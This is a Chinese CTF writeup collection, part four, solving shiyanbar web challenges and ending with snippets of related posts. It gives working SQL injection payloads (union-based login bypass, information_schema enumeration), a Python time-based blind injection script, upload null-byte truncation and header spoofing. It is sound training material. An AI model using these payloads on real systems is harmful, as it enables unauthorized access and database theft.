1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4

上传绕过

题目链接

http://shiyanbar.com/ctf/1781

题目描述

bypass the upload

格式:flag{}

解题思路

随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为

推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题。

flag{SimCTF_huachuan}

NSCTF web200

题目链接

http://shiyanbar.com/ctf/1760

题目描述

密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
格式:flag:{}

解题思路

a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
=》rot13解码:
n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
=>reverse:
fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
=》base64解码:
~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
<?php
$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
$_="";
for($_0=0;$_0

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

程序逻辑问题

题目链接

http://shiyanbar.com/ctf/62

题目描述

绕过

解题思路

打开题目后,发现源码中有index.txt,此文件为该题目源码,打开进行审计。

<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user=‘$user‘";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

审计该题目,发现有两个条件。

1. 首先通过user查询用户

2. 然后通过查询出的用户,拿出pw和用户输入的pw进行比计较,如果相等,则登录成功。

存在的漏洞点:在查询用户时,user没有经过过去,可以进行注入,所以,通过构造注入,让查询出的结果能够被用户输入控制,和pw一样,就绕过了第二个比较。

直接给出payloaduser=‘ union select md5(1)# and &amp;pass=1,这条语句拼出的sql语句为select pw from php where user=‘‘ union select md5(1)#‘。这样查询出的pw值就是用户输入的md5(1),当pass参数也输入1时,就绕过了条件了,得到flag :SimCTF{youhaocongming}。

what a fuck!这是什么鬼东西?

题目链接

http://shiyanbar.com/ctf/56

题目描述

what a fuck!这是什么鬼东西?

解题思路

打开题目,就可以看到是jsfuck编码,直接在浏览器console控制台执行这段代码就可以了。

flag : Ihatejs

PHP大法

题目链接

http://shiyanbar.com/ctf/54

题目描述

注意备份文件

解题思路

打开题目看到备份文件index.php.txt

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

<br><br>
Can you authenticate to this website?

从源代码可以看到,当输入是hackerDJ时,题目会返回not allowed,当输入经过url解码时是hackerDJ时,返回flag。这里使用两次url编码,就可以绕过第一个条件,在第二个条件经过ruldecode后,两次编码的输入id转化为正常的ascii。payload %2568ackerDJ

DUTCTF{PHP_is_the_best_program_language}

这个看起来有点简单!

题目链接

http://shiyanbar.com/ctf/33

题目描述

很明显。过年过节不送礼,送礼就送这个

解题思路

使用id=1 and 1=1,回显正常,使用id=1 and 1=2,回显中没有数据,易得此题目存在sql注入漏洞。后面直接给出payload。

id=1 union select 1,schema_name from information_schema.schemata

id=1 union select 1,table_name from information_schema.tables where table_schema=‘my_db‘

id=1 union select 1,column_name from information_schema.columns where table_schema=‘my_db‘

id=1 union select 1,k0y from thiskey

flag : whatiMyD91dump

貌似有点难

题目链接

http://shiyanbar.com/ctf/32

题目描述

不多说,去看题目吧。

解题思路

进入题目后,直接点开View the source code查看源代码。

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

看源码,发现直接修改ip就可以了,抓包重放。

SimCTF{daima_shengji}

头有点大

题目链接

http://shiyanbar.com/ctf/29

题目描述

提示都这么多了,再提示就没意思了。

解题思路

根据题目意思要满足三个条件才可以:

1. 安装.net9.9框架。

2. 第二个是保证在英国地区。

3. 第三个是用ie浏览器。

第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)来实现,最后一个在英国我们把语言改成en-gb即可。

猫抓老鼠

题目链接

http://shiyanbar.com/ctf/20

题目描述

catch!catch!catch!嘿嘿,不多说了,再说剧透了

解题思路

这是一道脑洞题!所以访问抓包,看到响应包中有一个字段Content-Row,将这个参数的值当做pass+key提交,就拿到了flag。

看起来有点难

题目链接

http://shiyanbar.com/ctf/2

题目描述

切,你那水平也就这么点了,这都是什么题啊!!!

解题思路

使用各种万能注入不能登录,测试payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin‘ and sleep(10) and ‘‘=‘&amp;pass=&amp;action=login,发现响应时间很长,确认该题目为sleep盲注。

给出脚本的payloadadmin=admin‘ and case when(substr(password,%s,1)=‘%s‘) then sleep(10) else sleep(0) end and ‘‘=‘&amp;pass=&amp;action=login,其中第一个%s 为password字段的第几位开始,第二个%s表示ascii字符。

__author__ = ‘netfish‘
# -*-coding:utf-8-*-

import requests
import time

payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.{}-‘  #不区分大小写的

flag = ""
key=0
print("Start")
for i in range(1,50):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()#记录当前时间
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
                   "Connection": "keep-alive",
                   }
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin‘ and case when(substr(password,%s,1)=‘%s‘) then sleep(5) else sleep(0) end and ‘‘=‘&pass=&action=login" %(i,payload)#数据库
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 5:
            flag += payload
            print(‘\n pwd is:‘, flag)
            break
        else:
            if payload == ‘-‘:
                key = 1
                break
print(‘\n[Finally] current pwd is %s‘ % flag)

跑出密码 idnuenna

原文地址:https://www.cnblogs.com/beijibing/p/10393315.html

时间: 2024-11-10 12:01:32

1010.CTF 题目之 WEB Writeup 通关大全 – 4的相关文章

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

最近面试的题目(WEB、Service、SQL、JavaScript)

整理一下最近面试被问到的主要题目.由于本人主要是做WEB及WEB SERVICE这块,使用的语言主要是C#,数据库主要用到的也是MSSQL.所以就分成这些块来整理(有些是在面试之后才意识到回答不对),也包括部分别人被问及的. 一.HTML.CSS position有哪几种值,各是怎么使用的? 一个左右部局,如何实现? 二.JAVASCRIPT, JS FRAMEWORK document.onload与jQuery中的ready有何区别? 什么是闭包?写一下. jQuery中有个叫"on&quo

ctf题目writeup(4)

2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: 一看就是jsfuck了....这种形式的,可以在线工具,或者直接f12 复制粘贴到console里面执行: 出错了....检查一下:发现最后少了个匹配的] 加上后还是报错 那就干错把首位的那个去掉: not function... 那就把最后的括号去掉: 所以答案就是: flag{f_f_l_u_a

ctf题目writeup(8)

2019.2.3 继续做别的提.bugku的密码学和杂项都做完了,清清其他自己感兴趣(能蒙对)的. 1. 刚开始寻思是不是弄个字典,然后抓包或者python爆破下. 结果随便试 KEY{zs19970315}就对了... 2. 下载后是个伪加密zip. winhex改一下: 打开txt: 之后得需要社工库了...就没办法(得FQ.) 看了别人的直接用了: flag{15206164164} 3. 尝试百度 孤长离...啥都没有. 后来才知道 这是百度贴吧的一个东西: 提示是弱口令.而且这个邮箱好

JarvisOJ平台Web题目简单部分writeup

PHPINFO 题目地址:http://web.jarvisoj.com:32784/访问网址,页面显示: <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __dest